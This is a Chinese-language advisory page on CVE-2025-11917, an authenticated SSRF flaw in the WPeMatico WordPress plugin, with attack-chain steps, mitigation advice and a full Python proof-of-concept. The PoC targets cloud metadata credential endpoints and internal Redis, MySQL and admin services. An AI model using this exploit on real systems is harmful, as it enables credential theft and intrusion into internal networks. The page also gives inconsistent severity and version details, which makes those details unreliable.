IPBUF安全漏洞报告
English
CVE-2025-11917 CVSS 6.4 中危

CVE-2025-11917 WPeMatico插件SSRF服务器端请求伪造漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-11917
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WPeMatico RSS Feed Fetcher(WordPress插件)

相关标签

SSRF服务器端请求伪造WordPress插件漏洞WPeMaticoCVE-2025-11917认证后攻击低权限漏洞AJAX接口漏洞

漏洞概述

CVE-2025-11917是WordPress插件WPeMatico RSS Feed Fetcher中的一个高危安全漏洞。该插件是一款流行的RSS Feed采集工具,用于自动从外部源获取并发布内容。漏洞存在于wpematico_test_feed()函数中,由于缺乏对用户输入的有效验证,攻击者可以操纵该函数发起服务器端请求伪造攻击。攻击者只需拥有WordPress订阅者(Subscriber)级别账户即可利用此漏洞,无需管理员权限。这使得大量WordPress站点面临风险。攻击者可利用该漏洞探测内部网络、访问内部服务、读取本地文件,甚至可能进一步横向移动或获取敏感信息。由于CVSS评分为6.4,属于中等严重程度,但考虑到低权限要求和无用户交互的特性,实际威胁不容忽视。

技术细节

漏洞根源在于WPeMatico插件的wpematico_test_feed()函数未对feed URL参数进行充分的输入验证和过滤。攻击者通过构造恶意URL,可以使服务器向任意目标地址发起HTTP/HTTPS请求。攻击者利用步骤:1)使用低权限账户登录WordPress;2)构造包含内网IP(如192.168.x.x、10.x.x.x)或云元数据地址的恶意URL;3)调用wpematico_test_feed()函数触发SSRF;4)服务器作为代理访问攻击者指定的目标地址。成功利用后,攻击者可探测内网服务(如Redis、MySQL、Memcached)、访问云服务商元数据(AWS 169.254.169.254)、读取本地文件(file://协议)、扫描内部网络拓扑。由于请求由服务器发起,可绕过防火墙限制并获取内部服务响应数据。漏洞代码位置:app/wpematico_functions.php第1249-1260行,campaign_edit.php第24行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标WordPress站点并确认安装了WPeMatico插件(版本≤2.8.11)
STEP 2
步骤2:账户创建
攻击者注册WordPress订阅者账户或利用已有低权限账户(如论坛用户、博客评论者)
STEP 3
步骤3:构造恶意请求
攻击者构造包含SSRF payload的feed_url参数,如内网IP、云元数据地址或file://协议
STEP 4
步骤4:触发漏洞
通过wpematico_test_feed()函数(通常通过/admin-ajax.php调用)发送恶意请求
STEP 5
步骤5:数据窃取
服务器作为代理访问攻击者指定的目标地址,攻击者获取内部服务响应数据
STEP 6
步骤6:横向移动
利用获取的信息(如云凭证、数据库连接字符串)进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-11917 - WPeMatico SSRF PoC Author: Security Researcher Note: For authorized testing only """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" LOGIN_URL = f"{TARGET_URL}/wp-login.php" SSRF_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php" def login(session, username, password): """Login to WordPress with subscriber account""" data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(LOGIN_URL, data=data) return 'wordpress_logged_in' in session.cookies.get_dict() def exploit_ssrf(session, target_host="http://169.254.169.254/latest/meta-data/", internal_ip="10.0.0.1"): """Exploit SSRF via wpematico_test_feed() function""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } # Payload for SSRF - test internal metadata service data = { 'action': 'wpematico_test_feed', 'feed_url': target_host, # SSRF payload 'campaign_id': '0' } try: response = session.post(SSRF_URL, data=data, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200: print(f"[+] SSRF Successful - Response:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-11917 WPeMatico SSRF Exploit") print("=" * 50) session = requests.Session() # Login with subscriber account if not login(session, "subscriber_user", "password"): print("[-] Login failed") sys.exit(1) print("[+] Logged in successfully") # Test SSRF against various targets targets = [ "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "http://10.0.0.1:6379/", "http://localhost:8080/admin", "http://internal-db.local:3306/" ] for target in targets: print(f"\n[*] Testing target: {target}") exploit_ssrf(session, target_host=target)

影响范围

WPeMatico RSS Feed Fetcher < 2.8.11

防御指南

临时缓解措施
立即将WPeMatico插件升级至2.8.12或更高版本。如暂时无法升级,可临时禁用插件或限制订阅者角色权限。同时在Web应用防火墙中添加SSRF防护规则,阻止对内网地址(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)、localhost及云元数据地址(169.254.169.254)的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表